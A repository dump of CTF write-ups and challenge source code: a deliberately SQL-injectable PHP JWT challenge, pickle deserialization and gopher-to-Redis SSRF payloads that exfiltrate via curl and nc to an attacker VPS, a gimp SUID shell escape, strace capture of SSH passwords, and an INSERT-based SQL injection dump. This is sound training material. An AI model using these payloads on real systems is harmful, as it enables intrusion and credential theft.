103 | function decryptage($content){ 104 | $i=0; 105 | $words=array('kAHl4','$ecUriNets','Cha1m4','th4meUr','WhiT3HacK3Rs','Ani$Bo$$CoUldNtS0Lv31t'); 106 | $decrypted=""; 107 | for($i=0;$i<strlen($content);$i-=-pow(0,0)) 108 | { 109 | $ser=serialize(array($words[$i % 6],'securinets')); 110 | $key=intval(explode(":",explode(";",$ser)[1])[1]); 111 | $decrypted=$decrypted.chr(ord($content[$i])-$key) ; 112 | } 113 | return $decrypted ; 114 | } 115 | $cont="eG9pfH5/c296eu+/vW01On1mP++/vTh4ZVt0SWRLe3tU77+9d2lJO1rvv71kXTZzYklkXk44MDcm77+9EA==" ; 116 | $con=base64_decode($cont); 117 | $res= decryptage($con); 118 | echo $res; 119 | 120 | ``` 121 | 122 | Executing this will give you the flag but with some unreadable characters (because of the non printable characters after crypting it) that's why we can use curl in our cli and extract the crypted flag and save it or simply we can use a little python script 123 | that automates this and FINALLY we got The flag : 124 | > securinets{W00w_3v3n_Th3_AutHor_C4Nt_S0lV3_TH1$!!} 125 | 126 | *** Conclusion *** 127 | 128 | I hope you liked this task , it took me 4 continuous days of hard work to implement this idea ( i had to write a big part of jwt generator ) you can find the source code in the same directory ! Anyways dont forget to star me and if you faced any problems please contact me! 129 | 130 | 131 | 132 | 133 | 134 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/accueil.php: -------------------------------------------------------------------------------- 1 | <?php 2 | ini_set('display_errors', 1); 3 | ini_set('display_startup_errors', 1); 4 | error_reporting(1); 5 | session_start(); 6 | include "jwtmanip.php" ; 7 | 8 | if(!$_SESSION['admin']) : ?> 9 | 10 | 11 | <!DOCTYPE html> 12 | <html lang="en"> 13 | <head> 14 | <meta charset="UTF-8"> 15 | <meta name="viewport" content="width=device-width, initial-scale=1.0"> 16 | <meta http-equiv="X-UA-Compatible" content="ie=edge"> 17 | <title>Accueil 18 | 19 | 20 | 21 | Welcome ".$_SESSION['user']."" ?> 22 |

Congrats you are now a shinobi ! You can try hard and become a hockage

23 |

Deconnexion 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | Hockage 40 | 41 | 42 |

Welcome Admin

43 |

File Cryptor V1

44 | 45 |
46 |
47 | 48 |

49 | 50 |
51 | 52 | '.crypt::$error.'' ; 57 | } 58 | else if (strlen($content)!==strlen(crypt::cryptage($content))){ 59 | echo 'What you have written is not supported ' ; 60 | } 61 | else { 62 | echo '

Here is your text crypted (Flag in flag.txt)


' ; 63 | echo crypt::cryptage($content) ; 64 | 65 | } 66 | 67 | } 68 | 69 | ?> 70 | 71 | 72 | 73 | 74 | 75 | 76 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/connexion.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | Sign In 15 | 16 | 17 |
18 |

Sign In

19 |
20 | 21 | 22 | 23 |
24 | Sign Up 25 |
26 | 27 | getMessage()) ; 38 | } 39 | //FIN 40 | if(isset($_POST['user'])&&isset($_POST['password'])){ 41 | $req=$bdd->prepare("SELECT * FROM users WHERE user=? AND password=?"); 42 | $req->execute(array( 43 | $_POST['user'], 44 | $_POST['password'] 45 | )) ; 46 | if($reponse=$req->fetch()){ 47 | $_SESSION['id']=$reponse['id']; 48 | $_SESSION['user']=$reponse['user']; 49 | $_SESSION['admin']=false ; 50 | header("Location: accueil.php") ; 51 | } else { 52 | if(preg_match("/'|or/i",$_POST['user'])){ 53 | die('Hey dude it\'s 2019 and you are trying SQL injection ? Don\'t waste your time here '); 54 | } else{ 55 | die('Wrong username Or password ! Please Try Again'); 56 | } 57 | } 58 | } 59 | 60 | 61 | 62 | ?> 63 | 64 | 65 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/crypter.php: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/deconnexion.php: -------------------------------------------------------------------------------- 1 | 6 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/decrypter.php: -------------------------------------------------------------------------------- 1 | 19 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/flag.txt: -------------------------------------------------------------------------------- 1 | securinets{W00w_3v3n_Th3_AutHor_C4Nt_S0lV3_TH1$!!} 2 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/index.php: -------------------------------------------------------------------------------- 1 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | Welcome To Hell 17 | 18 | 19 | 23 |
24 |

Welcome to Shinobis platform

25 | 26 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/inscription.php: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | Inscription 14 | 15 | 16 |
17 |

Sign Up

18 |
19 | 20 | 21 | 22 | 23 |
24 |
25 | Sign In 26 |
27 | 28 | 29 | getMessage()) ; 41 | } 42 | // Fin 43 | $req=$bdd->prepare("INSERT INTO users (id,user,password,email) VALUES (null,?,?,?)"); 44 | $req->execute(array( 45 | $_POST['name'], 46 | $_POST['password'], 47 | $_POST['email'] 48 | )); 49 | if($req){ 50 | echo '

You are registered successfully

'; 51 | } 52 | } 53 | 54 | ?> -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/jwt.php: -------------------------------------------------------------------------------- 1 | 14 | * @author Anant Narayanan 15 | * @license http://opensource.org/licenses/BSD-3-Clause 3-clause BSD 16 | * @link https://github.com/firebase/php-jwt 17 | */ 18 | class JWT 19 | { 20 | /** 21 | * Decodes a JWT string into a PHP object. 22 | * 23 | * @param string $jwt The JWT 24 | * @param string|null $key The secret key 25 | * @param bool $verify Don't skip verification process 26 | * 27 | * @return object The JWT's payload as a PHP object 28 | * @throws UnexpectedValueException Provided JWT was invalid 29 | * @throws DomainException Algorithm was not provided 30 | * 31 | * @uses jsonDecode 32 | * @uses urlsafeB64Decode 33 | */ 34 | public static function decode($jwt, $verify = true) 35 | { 36 | $tks = explode('.', $jwt); 37 | if (count($tks) != 3) { 38 | die('Wrong number of segments'); 39 | } 40 | list($headb64, $bodyb64, $cryptob64) = $tks; 41 | if (null === ($header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64)))) { 42 | die('Invalid segment encoding'); 43 | } 44 | if (null === $payload = JWT::jsonDecode(JWT::urlsafeB64Decode($bodyb64))) { 45 | die('Invalid segment encoding'); 46 | } 47 | $sig = JWT::urlsafeB64Decode($cryptob64); 48 | 49 | if ($verify) { 50 | if (empty($header->alg)) { 51 | die('Empty algorithm'); 52 | } 53 | if ($sig != JWT::sign("$headb64.$bodyb64", $key, $header->alg)) { 54 | die('Signature verification failed'); 55 | } 56 | } 57 | return $payload; 58 | } 59 | /** 60 | * Converts and signs a PHP object or array into a JWT string. 61 | * 62 | * @param object|array $payload PHP object or array 63 | * @param string $key The secret key 64 | * @param string $algo The signing algorithm. Supported 65 | * algorithms are 'HS256', 'HS384' and 'HS512' 66 | * 67 | * @return string A signed JWT 68 | * @uses jsonEncode 69 | * @uses urlsafeB64Encode 70 | */ 71 | public static function encode($payload, $key,$kid, $algo = 'HS256') 72 | { 73 | $header = array('typ' => 'JWT', 'alg' => $algo,'kid'=> $kid); 74 | $segments = array(); 75 | $segments[] = JWT::urlsafeB64Encode(JWT::jsonEncode($header)); 76 | $segments[] = JWT::urlsafeB64Encode(JWT::jsonEncode($payload)); 77 | $signing_input = implode('.', $segments); 78 | $signature = JWT::sign($signing_input, $key, $algo); 79 | $segments[] = JWT::urlsafeB64Encode($signature); 80 | return implode('.', $segments); 81 | } 82 | /** 83 | * Sign a string with a given key and algorithm. 84 | * 85 | * @param string $msg The message to sign 86 | * @param string $key The secret key 87 | * @param string $method The signing algorithm. Supported 88 | * algorithms are 'HS256', 'HS384' and 'HS512' 89 | * 90 | * @return string An encrypted message 91 | * @throws DomainException Unsupported algorithm was specified 92 | */ 93 | public static function sign($msg, $key, $method = 'HS256') 94 | { 95 | $methods = array( 96 | 'HS256' => 'sha256', 97 | 'HS384' => 'sha384', 98 | 'HS512' => 'sha512', 99 | ); 100 | if (empty($methods[$method])) { 101 | die('Algorithm not supported'); 102 | } 103 | return hash_hmac($methods[$method], $msg, $key, true); 104 | } 105 | /** 106 | * Decode a JSON string into a PHP object. 107 | * 108 | * @param string $input JSON string 109 | * 110 | * @return object Object representation of JSON string 111 | * @throws DomainException Provided string was invalid JSON 112 | */ 113 | public static function jsonDecode($input) 114 | { 115 | $obj = json_decode($input); 116 | if (function_exists('json_last_error') && $errno = json_last_error()) { 117 | JWT::_handleJsonError($errno); 118 | } else if ($obj === null && $input !== 'null') { 119 | die('Null result with non-null input'); 120 | } 121 | return $obj; 122 | } 123 | /** 124 | * Encode a PHP object into a JSON string. 125 | * 126 | * @param object|array $input A PHP object or array 127 | * 128 | * @return string JSON representation of the PHP object or array 129 | * @throws DomainException Provided object could not be encoded to valid JSON 130 | */ 131 | public static function jsonEncode($input) 132 | { 133 | $json = json_encode($input); 134 | if (function_exists('json_last_error') && $errno = json_last_error()) { 135 | JWT::_handleJsonError($errno); 136 | } else if ($json === 'null' && $input !== null) { 137 | die('Null result with non-null input'); 138 | } 139 | return $json; 140 | } 141 | /** 142 | * Decode a string with URL-safe Base64. 143 | * 144 | * @param string $input A Base64 encoded string 145 | * 146 | * @return string A decoded string 147 | */ 148 | public static function urlsafeB64Decode($input) 149 | { 150 | $remainder = strlen($input) % 4; 151 | if ($remainder) { 152 | $padlen = 4 - $remainder; 153 | $input .= str_repeat('=', $padlen); 154 | } 155 | return base64_decode(strtr($input, '-_', '+/')); 156 | } 157 | /** 158 | * Encode a string with URL-safe Base64. 159 | * 160 | * @param string $input The string you want encoded 161 | * 162 | * @return string The base64 encode of what you passed in 163 | */ 164 | public static function urlsafeB64Encode($input) 165 | { 166 | return str_replace('=', '', strtr(base64_encode($input), '+/', '-_')); 167 | } 168 | /** 169 | * Helper method to create a JSON error. 170 | * 171 | * @param int $errno An error number from json_last_error() 172 | * 173 | * @return void 174 | */ 175 | private static function _handleJsonError($errno) 176 | { 177 | $messages = array( 178 | JSON_ERROR_DEPTH => 'Maximum stack depth exceeded', 179 | JSON_ERROR_CTRL_CHAR => 'Unexpected control character found', 180 | JSON_ERROR_SYNTAX => 'Syntax error, malformed JSON' 181 | ); 182 | die( 183 | isset($messages[$errno]) 184 | ? $messages[$errno] 185 | : 'Unknown JSON error: ' . $errno 186 | ); 187 | } 188 | } 189 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/jwtmanip.php: -------------------------------------------------------------------------------- 1 | kid) ; 24 | if ($verify) { 25 | if (empty($header->alg)) { 26 | throw new DomainException('Empty algorithm'); 27 | } 28 | if ($sig != JWT::sign("$headb64.$bodyb64", $key, $header->alg)) { 29 | die('Signature verification failed'); 30 | } 31 | } 32 | return $payload; 33 | } 34 | ////////////////////////////////////////////////////////////////////////////////// 35 | //JWT token assignment 36 | // Extract Key Function 37 | function extract_key($kid){ 38 | //bd Connection 39 | try { 40 | $host='localhost'; 41 | $dbname='shinobi'; 42 | $charset='utf8'; 43 | $bdd=new PDO ("mysql:host=$host;dbname=$dbname;charset=$charset",'task','123') ; 44 | } 45 | catch (Exception $e) 46 | { 47 | die("Connection Error :".$e->getMessage()) ; 48 | } 49 | //FIN 50 | 51 | $i=0; 52 | $blacklist=array('union','select','from','or','all','UNION','SELECT','FROM','OR','ALL'); 53 | for($i=0;$iquery("SELECT * FROM keyss WHERE id='".$kid."'"); 60 | if($resultat=$rep->fetch()){ 61 | return($resultat['jwtkey']); 62 | } 63 | 64 | } 65 | if(!(isset($_COOKIE['token']))){ 66 | $payload=array('user'=>$_SESSION['user'],'type'=>'user') ; 67 | $kid=rand(1,6); 68 | $jwt=JWT::encode($payload,extract_key($kid),$kid) ; 69 | setcookie('token',$jwt,time() + (86400 * 30)); 70 | } 71 | else { 72 | @$payl=decode($_COOKIE['token']) ; 73 | if($payl->type==='admin'){ 74 | $_SESSION['admin']=true ; 75 | } 76 | } 77 | ///////////////////////////////////////////////////////////////////// 78 | ?> 79 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/JWT In a new way/Source Code/robots.txt: -------------------------------------------------------------------------------- 1 | This is for the second part of the task 2 | public static function cryptage($content){ 3 | $i=0; 4 | $words=array('kAHl4','$ecUriNets','Cha1m4','th4meUr','WhiT3HacK3Rs','Ani$Bo$$CoUldNtS0Lv31t'); 5 | $crypted=""; 6 | for($i=0;$i curl YourVpsIP/?a=\`cat /etc/flag.txt\` 17 | 18 | Final Payload to Upload (Base64 encoded) : 19 | > Y3Bvc2l4CnN5c3RlbQpwMAooUydjdXJsIFlvdXJWcHNJUC8/YT1gY2F0IC9ldGMvZmxhZy50eHRgJwpwMQp0cDIKUnAzCi4= 20 | 21 | ![WEB](https://imgur.com/HpGGVJK.png) 22 | 23 | Ofc don't forget to listen on your server xd And Bingo we have our flag :D 24 | 25 | >Securinets{DjanGo_1} 26 | -------------------------------------------------------------------------------- /NCSC2.0_CTF/Shinobis World/README.md: -------------------------------------------------------------------------------- 1 | # Shinobis World (1000pts) (1 Solves) # 2 | 3 | ![TASK](https://imgur.com/7X3dgtW.png) 4 | 5 | Hello guys again , in this task we are give the Settings.py of a django Web application , we can notice that the website is using caching with redis that is listening on port 6379 locally ! 6 | 7 | ![TASK](https://imgur.com/60QSkz4.png) 8 | 9 | Our first impression, we see an url fetcher that is curling websites which will be probably some SSRF , we try the usual payloads and we find that file ,localhost and 127.0.0.1 are filtered 10 | so we can use 127.0.1 and maybe http or gopher protocol , firstly let's think , as we said we had a redis instance that is running on localhost , so may be using the ssrf we can interact with it 11 | 12 | in fact you can use gopher protocol to interact with redis : 13 | 14 | > gopher://127.0.1:6379/_RedisCommandHERE 15 | 16 | for example to list all keys: 17 | 18 | >> gopher://127.0.1:6379/_keys%20* 19 | 20 | if we refresh the shinobis web page and then list all keys we can see some new keys that are set : 21 | 22 | > :1:views.decorators.cache.cache_page..GET.a906279c6f1b8c76747a8ba71e866d8c.d41d8cd98f00b204e9800998ecf8427e.en-us.UTC 23 | >> :1:views.decorators.cache.cache_header..a906279c6f1b8c76747a8ba71e866d8c.en-us.UTC 24 | 25 | ![TASK](https://imgur.com/bOKKP3k.png) 26 | 27 | If you read the Django Manual you will find that the caching system in django is a little bit different , first of all django will serialize the header and the rest of the page using pickle then it will cache them in the memory 28 | 29 | So the idea is to forge our payload using pickle and the set the default key of django (:1:views.decorators.cache.cache_page..GET.a906279c6f1b8c76747a8ba71e866d8c.d41d8cd98f00b204e9800998ecf8427e.en-us.UTC) with our payload , here is what will happen chronologically : 30 | - Django will try to load the page so firstly he will check if the :1:views.decorators.cache.cache_page..GET.a906279c6f1b8c76747a8ba71e866d8c.d41d8cd98f00b204e9800998ecf8427e.en-us.UTC key is set 31 | - if the key is set he will unpickle the data stored there and load the page using this content 32 | - Our payload will be executed then Bingo we will have the flag :D 33 | 34 | Final Payload : 35 | > gopher://127.0.1:6379/aset%20:1:views.decorators.cache.cache_page..GET.a906279c6f1b8c76747a8ba71e866d8c.d41d8cd98f00b204e9800998ecf8427e.en-us.UTC%20"cposix\nsystem\np0\n(S'ls|nc YourVPSIP 1234'\np1\ntp2\nRp3\n." 36 | This Payload will execute ls command and send it to our vps (don't forget to refresh the Shinobis page because it's the page that is being cached) 37 | 38 | ***Note:*** You can find the source code of this task in source code repo 39 | 40 | **Conclusion** 41 | 42 | I hope that you liked the challenge , i tried to combine the SSRF with this default feature of django that can be used maliciously , it can be applied with any caching system (Memcached or Redis ..) 43 | If you have any questions dont forget to contact me and if you liked this writeup please star this repo :D 44 | -------------------------------------------------------------------------------- /Nahamcon CTF/Glimpse.md: -------------------------------------------------------------------------------- 1 | # Glimpse (125pts) 161 solves # 2 | 3 | ![TASK](https://imgur.com/F78hCi2.png) 4 | 5 | We are given some ssh credentials here too , judging from the name of the task i supposed that it might be something unusual with gimp binary so after digging i realised that gimp-2.8 was a suid binary ! BINGO :D 6 | 7 | ![TASK](https://imgur.com/UgNyqqK.png) 8 | 9 | so running the following command we can get a shell from gimp and cat our beloved flag (gtfobins FTW ) :D 10 | 11 | ```sh 12 | gimp-2.8 -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")' 13 | ``` 14 | 15 | ![TASK](https://imgur.com/bUO0NSt.png) 16 | 17 | **Flag:** flag{just_need_a_glimpse_of_the_flag_please} 18 | 19 | If you have any questions you can contact me on twitter @BelkahlaAhmed1 or contact our team twitter @FwordTeam ! Make sure to visit my personal blog for more useful content :D 20 | -------------------------------------------------------------------------------- /Nahamcon CTF/SSH Logger.md: -------------------------------------------------------------------------------- 1 | # SSH Logger (175pts) 75 solves # 2 | 3 | ![TASK](https://imgur.com/mvBLdEe.png) 4 | 5 | We are given some ssh credentials , our goal is to find the password of the user that is connecting to the box. Running pspy64 we can notice the flag user that is connecting. 6 | 7 | ![TASK](https://imgur.com/zSN8BCK.png) 8 | 9 | Firstly i tried to examine the ssh settings and logs but i didn't find anything useful then after a lot of search i found this useful article [HERE](https://mthbernardes.github.io/persistence/2018/01/10/stealing-ssh-credentials.html) 10 | 11 | So if we attach the sshd process to strace we can literally trace everything that is happening , running this command will pop the flag for us : 12 | 13 | ```sh 14 | strace -f -p $(pgrep -f "/usr/sbin/sshd") -s 128 2>&1|grep flag{ 15 | ``` 16 | 17 | **Flag:** flag{okay_so_that_was_cool} 18 | 19 | If you have any questions you can contact me on twitter @BelkahlaAhmed1 or contact our team twitter @FwordTeam ! Make sure to visit my personal blog for more useful content :D 20 | -------------------------------------------------------------------------------- /RITSEC CTF/README.md: -------------------------------------------------------------------------------- 1 | # **URGGGGG (480 Pts)** 2 | ![TASK](https://i.imgur.com/qvb3bdp.jpg) 3 | 4 | This task was one of the most challenging forensics task related to wireshark that i have played , we were given 5 | a wireshark capture that showed packets using usb protocol ( universal serial block) . 6 | 7 | ![wireshark](https://i.imgur.com/bNWR4z4.png) 8 | 9 | My first thought was that this is probably traffic captured from a keyboard as you can see there's a lot of URB_INTERRUPT in , 10 | maybe these keystrokes hide within them the beloved FLAG . 11 | 12 | However extracting these keystrokes won't be that easy , we have to firstly read about this protocol . 13 | After some researchs i figured that there's four types of "transfer type" : 0: isochronous , 1: interrupt, 2:control , 3:bulk , 14 | we are here interested in the interrupt type so we have to add this filter to wireshark : **usb.transfer_type==0x01** 15 | 16 | I have also figured that the keystrokes are stored in the 'leftover capture data' in hexadecimal . 17 | so to facilitate the task we will add this simple filter to wireshark : **(usb.transfer_type==0x01)&&!(usb.capdata==00:00:00:00:00:00:00:00)** (data with 00:00:00:00:00:00:00:00 are just empty ones) 18 | 19 | ![wireshark](https://i.imgur.com/Dr6j06a.png) 20 | 21 | After applying these filters we have pretty clean result , we will export it as .CSV to facilitate the manipulation 22 | of leftover data 23 | After exporting using wireshark (from File menu then Export) we type this on our terminal to only extract the leftover data : 24 | 25 | **cat data |cut -d "," -f 7|cut -d "\\"" -f 2 > hexa.txt** 26 | 27 | ![wireshark](https://i.imgur.com/XEzVH0x.png) 28 | 29 | Now we use a simple python script to convert this hexa data to the real keystrokes, i've found this usb HID 30 | keyboard codes and i've used some of them in the script below ( [LINK](https://gist.github.com/MightyPork/6da26e382a7ad91b5496ee55fdc73db2)) 31 | 32 | ```python 33 | newmap = { 34 | 2: "PostFail", 35 | 4: "a", 36 | 5: "b", 37 | 6: "c", 38 | 7: "d", 39 | 8: "e", 40 | 9: "f", 41 | 10: "g", 42 | 11: "h", 43 | 12: "i", 44 | 13: "j", 45 | 14: "k", 46 | 15: "l", 47 | 16: "m", 48 | 17: "n", 49 | 18: "o", 50 | 19: "p", 51 | 20: "q", 52 | 21: "r", 53 | 22: "s", 54 | 23: "t", 55 | 24: "u", 56 | 25: "v", 57 | 26: "w", 58 | 27: "x", 59 | 28: "y", 60 | 29: "z", 61 | 30: "1", 62 | 31: "2", 63 | 32: "3", 64 | 33: "4", 65 | 34: "5", 66 | 35: "6", 67 | 36: "7", 68 | 37: "8", 69 | 38: "9", 70 | 39: "0", 71 | 40: "Enter", 72 | 41: "esc", 73 | 42: "del", 74 | 43: "tab", 75 | 44: "space", 76 | 45: "-", 77 | 47: "[", 78 | 48: "]", 79 | 56: "/", 80 | 57: "CapsLock", 81 | 79: "RightArrow", 82 | 80: "LetfArrow" 83 | } 84 | ch="" 85 | myKeys = open('hexoutput.txt') 86 | i = 1 87 | for line in myKeys: 88 | bytesArray = bytearray.fromhex(line.strip()) 89 | #print "Line Number: " + str(i) 90 | for byte in bytesArray: 91 | if byte != 0: 92 | keyVal = int(byte) 93 | 94 | if keyVal in newmap: 95 | print "Value map : " + str(keyVal) + "-> " + newmap[keyVal] 96 | ch=ch+newmap[keyVal] 97 | else: 98 | print "No map found for this value: " + str(keyVal) 99 | 100 | print format(byte, '02X') 101 | i+=1 102 | print(ch) 103 | 104 | ``` 105 | 106 | The hard work didn't finished yet , after extracting you'll see random letters but 107 | after some search(my eyes really went down) i found the ritsec word which marks the beginning of the flag , 108 | you can notice the "Post Fail" before each letter so we can guess it's shift key because flag format is RITSEC{} 109 | in uppercase so we will begin to extract the flag considering that every shift key before a letter will mean that it's an uppercase letter , BUT you have to pay attention 110 | to the fact that the author is using a US keyboard . 111 | 112 | ![wireshark](https://i.imgur.com/xiUGGao.png) 113 | 114 | After a long time we managed to extract the flag with its special letters (the @ ) and the 115 | CTRL+v , CTRL+x and CTRL+v and with also some guess xD 116 | 117 | **RITSEC{wH0_s@1d_n3tw0rk1nG_wAs_tH3_oNlY_pAck3t_TyP3}** 118 | 119 | I want to thank the author **@DataFrogMan** for this challenging and fun task and for his precious advices that helped me 120 | to finish the task , i enjoyed and learned a lot from it . 121 | -------------------------------------------------------------------------------- /Securinets Prequals 2k20/Empire Total/README.md: -------------------------------------------------------------------------------- 1 | # **Empire Total (1000pts) (7 Solves)** 2 | 3 | ![TASK](https://imgur.com/rGcoI7o.png) 4 | 5 | This task was really so creative and i had so fun solving it , but i can't deny that it was painful :( after reading the description we can say that we aim to dump the database of the website (maybe SQL injection who knows) and fortunately we have the source code so let's download it and begin our trip xD 6 | 7 | After Visiting the website we find a tool based on Virus Total API , understanding the functionality of the website is really necessary for solving the task, we will cover it in details later, but as a first thought we give an ip address to the website and it will shows Virus Total stats about it 8 | 9 | ![TASK](https://imgur.com/k7ScCjX.png) 10 | 11 | ![TASK](https://imgur.com/bjRXPJT.png) 12 | 13 | After cloning the project here is its structure 14 | > git clone https://github.com/mohamedaymenkarmous/virustotal-api-html 15 | 16 | ![TASK](https://imgur.com/alxzV41.png) 17 | 18 | let's take a look at index.php , since the code is really too long i will only put the important parts, as we can see after some configurations and Recaptcha setting, all the SQL queries are prepared statements so there is no way to perform SQL injection but we can notice the execution of the 19 | **shell_exec** function :D Interesting hmmm 20 | 21 | ![TASK](https://imgur.com/A1kiMAa.png) 22 | 23 | **shell_exec** is executing some python script with a scanned ip argument ,maybe manipulating it will give us something useful 24 | 25 | ```php 26 | $command = "../VirusTotal.py '$scanned_ip'"; 27 | $output = shell_exec($command); 28 | ``` 29 | But unfortunately there's too much restriction on our input :( it's impossible to bypass the filter_var here and the JS restrictions (if you can bpass it just tell me xD ) 30 | 31 | ```php 32 | if(isset($_POST) && !empty($_POST)){ 33 | $scanned_ip=isset($_POST['ip']) && !empty($_POST['ip']) && !is_array($_POST['ip']) ? $_POST['ip'] : ""; 34 | if(!$scanned_ip){header("Location: /?invalid_ip");exit();} 35 | if (filter_var($scanned_ip, FILTER_VALIDATE_IP)) { 36 | } else {header("Location: /?invalid_ip");exit();} 37 | ``` 38 | Let's proceed , it seems that the index.php is pretty safe ,let's take a look at the VirusTotal.py script 39 | 40 | ![TASK](https://imgur.com/ytcYYQQ.png) 41 | 42 | OMG :'( 499 lines , that was so discouraging @Emperors :( but we needed that flag to have the 10th place xD anyway after scrolling around and reading the code , we can somehow understand the behaviour of the website, 43 | when we enter the ip address it asks the Virus Total API for the results and then there's the persistence functionality that saves the results in the database and then when we enter the same ip address again it will loads 44 | the results from the database . 45 | 46 | So if we can control the results maybe we will have the opportunity to perform an SQL injection ? I got stuck in this part for a long time and after the help of the admin ( Thank you @Emperors <3 ) i found something interesting :D 47 | 48 | before we proceed here's a vulnerable function to SQL injection that saves the results of urls section in the database (line 417 in VirusTotal.py) 49 | 50 | ```python 51 | def persistURLs(self,selected_ips,ip_report_filtered): 52 | attr="detected_urls" 53 | table_name="vt_scanned_urls_table" 54 | newAttr=self.AttrSubstitution[attr] if attr in self.AttrSubstitution else attr 55 | selected_urls=self.findPersistedIP(selected_ips[0]['id'],table_name) 56 | selected_urls_filtered=[] 57 | for selected_url in selected_urls: 58 | selected_urls_filtered.append(selected_url['url']) 59 | if newAttr in ip_report_filtered: 60 | for url in ip_report_filtered[newAttr]: 61 | print(url['URL']) 62 | if url['URL'] not in selected_urls_filtered: 63 | try: 64 | self.CursorRW.execute("INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"')") 65 | self.DBRW.commit() 66 | self.resetSQL() 67 | except Exception as e: 68 | print("INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"')") 69 | print("EXCEPTION: ",e) 70 | self.resetSQL() 71 | ``` 72 | ## Exploitation ## 73 | 74 | So the idea is that if we go to VirusTotal website (https://www.virustotal.com/) and scan a url ,and then go back to our challenge website and scan the url's ip 75 | we will find that the url we scanned in VirusTotal website will appear , it's pretty confusing i know so let's have an example 76 | 77 | 1. We go to Virus Total website and scan for any url for example :( in my case i launched a web server on my VPS and used it here ) 78 | 79 | > http://100.26.206.184/?u=Just testing for the writeup :p 80 | 81 | ![TASK](https://imgur.com/mGOQ1tQ.png) 82 | 83 | 2. Now we go back to the challenge website and scan the ip address 84 | 85 | ![TASK](https://i.imgur.com/N7ymSRT.jpg) 86 | 87 | Yeeees ! it's appearing in the results so we now have the control over these values in the urls section of the results. 88 | 89 | Now here is our scenario , if we look to the vulnerable function **persistURLs** in VirusTotal.py we can notice the injection in this query (line 430) 90 | 91 | > INSERT INTO "+table_name+" (ip_id,url,detections,scanned_time) VALUES ('"+str(selected_ips[0]['id'])+"','"+url['URL']+"','"+url['Detections']+"','"+url['Scanned']+"') 92 | 93 | We have control over the **url['URL']** parameter (the url we scan in VirusTotal Website) so it's now an SQL injection in INSERT INTO values, but we have some constraints : 94 | 95 | 1. The url encoding **%20** that will be interpreted with the SQL query so we have to find another way in our payload instead of white spaces which is a well known bypass: **/\*\*/** 96 | 2. The second thing faced me when i was solving the challenge , we can't use **-- -** to equilibrate the SQL query so we will have to find a solution to equilibrate it 97 | 98 | In order to test the injection locally i have created this small script that connects to my local DB and executes the same query, you can find it **[HERE](https://github.com/kahla-sec/CTF-Writeups/blob/master/Securinets%20Prequals%202k20/Empire%20Total/test.py)** 99 | 100 | Finally I opted to this solution, here is the URL we will scan : 101 | > http://100.26.206.184/?u=',(select/**/1),(select/**/2)),('102','a 102 | 103 | The complete SQL query that will be executed is : 104 | > INSERT INTO detected_urls (ip_id,url,detections,scanned_time) VALUES ('2','100.26.206.184/?u=',(select 1),(select 2)),('102','a','15','yes') 105 | 106 | Let's try it now , we first scan it in VirusTotal : 107 | 108 | ![TASK](https://imgur.com/3L7lmrs.png) 109 | 110 | And now let's scan the IP in the challenge website : 111 | 112 | ![TASK](https://imgur.com/f2CRd7H.png) 113 | 114 | It's fetched successfully, let's scan the ip another time now to check if our injection succeeded or not, we must see 1,2 in the output : 115 | 116 | ![TASK](https://i.imgur.com/U3SEcaV.jpg) 117 | 118 | Bingo ! our injection worked , we only have to dump the entire Database now and repeat the same procedure: 119 | 120 | 1. Dump DB names : 121 | 122 | > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,schema_name,0x7c)/**/fRoM/**/information_schema.schemata),(select/**/2)),('102','a 123 | 124 | ![TASK](https://imgur.com/AJvdMXB.png) 125 | 126 | DBName : MySecretDatabase 127 | 128 | 2. Dump Tables and Columns : 129 | 130 | > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,table_name,0x7c)/**/fRoM/**/information_schema.tables),(select/**/2)),('102','a 131 | 132 | > http://100.26.206.184/?u=',(select/**/gRoUp_cOncaT(0x7c,column_name,0x7c)/**/fRoM/**/information_schema.columns),(select/**/2)),('103','a 133 | 134 | ![TASK](https://imgur.com/raYuUmI.png) 135 | 136 | **Table Name** : SecretTable & **Column Name** : secret_value 137 | 138 | 3. And finally let's have our beloved flag : 139 | 140 | > http://100.26.206.184/?u=',(select/**/group_concat(0x7c,secret_value,0x7c)/**/fRoM/**/MySecretDatabase.SecretTable),(select/**/2)),('109','a 141 | 142 | ![TASK](https://imgur.com/FanWbUZ.png) 143 | 144 | Yees We did it , **FLAG** : Securinets{EmpireTotal_Pwn3D_fr0m_Th3_0th3r_S1de} 145 | 146 | I have really liked the idea of the challenge, it's really creative , i want to thank Securinets technical team for these fun tasks and awesome CTF and of course the author @TheEmperors. 147 | 148 | I hope you liked the writeup if you have any questions don't hesitate to contact me **Twitter** : @BelkahlaAhmed1 , finally i can sleep in peace after these 24 hours xd 149 | -------------------------------------------------------------------------------- /Securinets Prequals 2k20/Empire Total/test.py: -------------------------------------------------------------------------------- 1 | import 